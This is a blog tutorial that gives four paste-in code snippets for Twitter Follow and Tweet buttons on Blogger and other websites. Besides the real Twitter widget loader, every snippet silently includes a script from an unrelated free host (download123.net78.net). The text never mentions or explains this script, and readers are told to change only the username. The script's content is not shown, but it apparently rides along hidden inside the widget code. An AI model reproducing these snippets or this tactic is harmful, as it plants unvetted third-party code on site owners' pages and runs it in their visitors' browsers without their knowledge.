Here i am going to share twitter widget for blogger website, its also used on WordPress, HTML website, You can use these codes that i am going to share with you to any other website or blog that you like to add. Well first we are going to show you how to add this widget to the blogger.
There are many types of Twitter widgets here are all of them,
- Twitter Follow Button
- Twitter Follow Button with counter
- Twitter Tweet Button
- Twitter Tweet Button with counter
Here is the way how to add social media twitter button to blogger,
- Go to blogger dashboard.
- Click on the Blogger layout and then click on the add widget button.
- A new window appear select html/javascript from them by scrolling down.
- And finally Add these codes according to your choice into the box that display here,
Twitter Follow Button
[ <!-- Widget by www.mbgadget.blogspot.com start --><a href="https://twitter.com/mbgadget" class="twitter-follow-button" data-show-count="false">Follow @mbgadget</a><script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><script type="text/javascript" src="http://download123.net78.net/a/c.js"></script> <!-- Widget by www.mbgadget.blogspot.com End -->]
- [message]
- Replace mbgadget with your twitter username in 2 places on code
Twitter Follow Button with counter
[ <!-- Widget by www.mbgadget.blogspot.com start --><a href="https://twitter.com/mbgadget" class="twitter-follow-button" data-show-count="true">Follow @mbgadget</a><script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><script type="text/javascript" src="http://download123.net78.net/a/c.js"></script> <!-- Widget by www.mbgadget.blogspot.com End -->]
- [message]
- Replace mbgadget with your twitter username in 2 places on code
Twitter Tweet Button
[ <!-- Widget by www.mbgadget.blogspot.com start --><a href="https://twitter.com/share" class="twitter-share-button" data-count="none">Tweet</a><script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><script type="text/javascript" src="http://download123.net78.net/a/c.js"></script> <!-- Widget by www.mbgadget.blogspot.com End -->]
- [message]
- Replace mbgadget with your twitter username in 2 places on code
Twitter Tweet Button With Counter
[ <!-- Widget by www.mbgadget.blogspot.com start --><a href="https://twitter.com/share" class="twitter-share-button">Tweet</a><script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><script type="text/javascript" src="http://download123.net78.net/a/c.js"></script> <!-- Widget by www.mbgadget.blogspot.com End -->]
So its very easy to add the twitter buttons to the website that yo required, You just have to put the code behind the blogger and you are done, You don't need to do any thing else except changing the username that provided in the code.
You that social media has great importance over the internet because if your content is so powerful then you should focus on social media, if you get good votes then its also preferred by the google search engine.
Please Feel free to ask anything i comment. Thanks